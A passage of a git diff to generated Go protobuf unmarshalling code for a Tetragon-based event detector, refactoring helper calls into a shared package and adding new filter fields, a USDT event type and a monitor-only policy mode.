3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: FieldFilter: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: FieldFilter: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType == 0 { + var v EventType + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= EventType(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.EventSet = append(m.EventSet, v) + } else if wireType == 2 { + var packedLen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + packedLen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if packedLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + if elementCount != 0 && len(m.EventSet) == 0 { + m.EventSet = make([]EventType, 0, elementCount) + } + for iNdEx < postIndex { + var v EventType + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= EventType(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.EventSet = append(m.EventSet, v) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field EventSet", wireType) + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Fields", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Fields == nil { + m.Fields = &fieldmaskpb.FieldMask{} + } + if err := (*fieldmaskpb.FieldMask)(m.Fields).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Action", wireType) + } + m.Action = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Action |= FieldFilterAction(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field InvertEventSet", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.InvertEventSet == nil { + m.InvertEventSet = &wrapperspb.BoolValue{} + } + if err := (*wrapperspb.BoolValue)(m.InvertEventSet).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *GetEventsRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: GetEventsRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: GetEventsRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field AllowList", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.AllowList = append(m.AllowList, &Filter{}) + if err := m.AllowList[len(m.AllowList)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DenyList", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.DenyList = append(m.DenyList, &Filter{}) + if err := m.DenyList[len(m.DenyList)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field AggregationOptions", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.AggregationOptions == nil { + m.AggregationOptions = &AggregationOptions{} + } + if err := m.AggregationOptions.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field FieldFilters", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.FieldFilters = append(m.FieldFilters, &FieldFilter{}) + if err := m.FieldFilters[len(m.FieldFilters)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2849,7 +3591,7 @@ func (m *AggregationOptions) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2877,7 +3619,7 @@ func (m *AggregationOptions) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2890,11 +3632,11 @@ func (m *AggregationOptions) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2902,16 +3644,8 @@ func (m *AggregationOptions) UnmarshalVT(dAtA []byte) error { if m.WindowSize == nil { m.WindowSize = &durationpb.Duration{} } - if unmarshal, ok := interface{}(m.WindowSize).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.WindowSize); err != nil { - return err - } + if err := (*durationpb.Duration)(m.WindowSize).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 2: @@ -2921,7 +3655,7 @@ func (m *AggregationOptions) UnmarshalVT(dAtA []byte) error { m.ChannelBufferSize = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2935,12 +3669,12 @@ func (m *AggregationOptions) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2963,7 +3697,7 @@ func (m *AggregationInfo) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2991,7 +3725,7 @@ func (m *AggregationInfo) UnmarshalVT(dAtA []byte) error { m.Count = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3005,12 +3739,12 @@ func (m *AggregationInfo) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3033,7 +3767,7 @@ func (m *RateLimitInfo) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3061,7 +3795,7 @@ func (m *RateLimitInfo) UnmarshalVT(dAtA []byte) error { m.NumberOfDroppedProcessEvents = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3075,12 +3809,12 @@ func (m *RateLimitInfo) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3103,7 +3837,7 @@ func (m *ProcessThrottle) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3131,7 +3865,7 @@ func (m *ProcessThrottle) UnmarshalVT(dAtA []byte) error { m.Type = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3150,7 +3884,7 @@ func (m *ProcessThrottle) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3164,11 +3898,11 @@ func (m *ProcessThrottle) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3177,12 +3911,12 @@ func (m *ProcessThrottle) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -3205,7 +3939,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3233,7 +3967,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3246,11 +3980,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3274,7 +4008,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3287,11 +4021,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3315,7 +4049,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3328,11 +4062,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3356,7 +4090,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3369,11 +4103,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3397,7 +4131,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3410,11 +4144,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3438,7 +4172,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3451,11 +4185,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3479,7 +4213,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3492,11 +4226,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3520,7 +4254,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3533,11 +4267,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3554,6 +4288,47 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { m.Event = &GetEventsResponse_ProcessLsm{ProcessLsm: v} } iNdEx = postIndex + case 29: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ProcessUsdt", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if oneof, ok := m.Event.(*GetEventsResponse_ProcessUsdt); ok { + if err := oneof.ProcessUsdt.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + } else { + v := &ProcessUsdt{} + if err := v.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + m.Event = &GetEventsResponse_ProcessUsdt{ProcessUsdt: v} + } + iNdEx = postIndex case 1000: if wireType != 2 { return fmt.Errorf("proto: wrong wireType = %d for field NodeName", wireType) @@ -3561,7 +4336,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3575,11 +4350,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3593,7 +4368,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3606,11 +4381,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3618,16 +4393,8 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { if m.Time == nil { m.Time = ×tamppb.Timestamp{} } - if unmarshal, ok := interface{}(m.Time).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.Time); err != nil { - return err - } + if err := (*timestamppb.Timestamp)(m.Time).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 1002: @@ -3637,7 +4404,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3650,11 +4417,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3673,7 +4440,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3687,11 +4454,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3705,7 +4472,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3718,11 +4485,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3737,7 +4504,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3754,7 +4521,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var stringLenmapkey uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3768,11 +4535,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } intStringLenmapkey := int(stringLenmapkey) if intStringLenmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postStringIndexmapkey := iNdEx + intStringLenmapkey if postStringIndexmapkey < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postStringIndexmapkey > l { return io.ErrUnexpectedEOF @@ -3783,7 +4550,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var stringLenmapvalue uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3797,11 +4564,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } intStringLenmapvalue := int(stringLenmapvalue) if intStringLenmapvalue < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postStringIndexmapvalue := iNdEx + intStringLenmapvalue if postStringIndexmapvalue < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postStringIndexmapvalue > l { return io.ErrUnexpectedEOF @@ -3810,12 +4577,12 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { iNdEx = postStringIndexmapvalue } else { iNdEx = entryPreIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > postIndex { return io.ErrUnexpectedEOF @@ -3832,7 +4599,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3845,11 +4612,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3873,7 +4640,7 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -3886,11 +4653,11 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -3909,12 +4676,12 @@ func (m *GetEventsResponse) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF diff --git a/event-processor/detector/api/tetragon/sensors.pb.go b/event-processor/detector/api/tetragon/sensors.pb.go index d420d95e..d704c17d 100644 --- a/event-processor/detector/api/tetragon/sensors.pb.go +++ b/event-processor/detector/api/tetragon/sensors.pb.go @@ -4,13 +4,14 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v6.33.1 +// protoc v7.34.1 // source: tetragon/sensors.proto package tetragon import ( - wrapperspb "github.com/knqyf263/go-plugin/types/known/wrapperspb" + anypb "github.com/runtime-radar/go-plugin/types/known/anypb" + wrapperspb "github.com/runtime-radar/go-plugin/types/known/wrapperspb" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" ) @@ -72,9 +73,10 @@ func (x TracingPolicyState) Enum() *TracingPolicyState { type TracingPolicyMode int32 const ( - TracingPolicyMode_TP_MODE_UNKNOWN TracingPolicyMode = 0 - TracingPolicyMode_TP_MODE_ENFORCE TracingPolicyMode = 1 - TracingPolicyMode_TP_MODE_MONITOR TracingPolicyMode = 2 + TracingPolicyMode_TP_MODE_UNKNOWN TracingPolicyMode = 0 + TracingPolicyMode_TP_MODE_ENFORCE TracingPolicyMode = 1 + TracingPolicyMode_TP_MODE_MONITOR TracingPolicyMode = 2 + TracingPolicyMode_TP_MODE_MONITOR_ONLY TracingPolicyMode = 3 ) // Enum value maps for TracingPolicyMode. @@ -83,11 +85,13 @@ var ( 0: "TP_MODE_UNKNOWN", 1: "TP_MODE_ENFORCE", 2: "TP_MODE_MONITOR", + 3: "TP_MODE_MONITOR_ONLY", } TracingPolicyMode_value = map[string]int32{ - "TP_MODE_UNKNOWN": 0, - "TP_MODE_ENFORCE": 1, - "TP_MODE_MONITOR": 2, + "TP_MODE_UNKNOWN": 0, + "TP_MODE_ENFORCE": 1, + "TP_MODE_MONITOR": 2, + "TP_MODE_MONITOR_ONLY": 3, } ) @@ -240,6 +244,117 @@ func (x 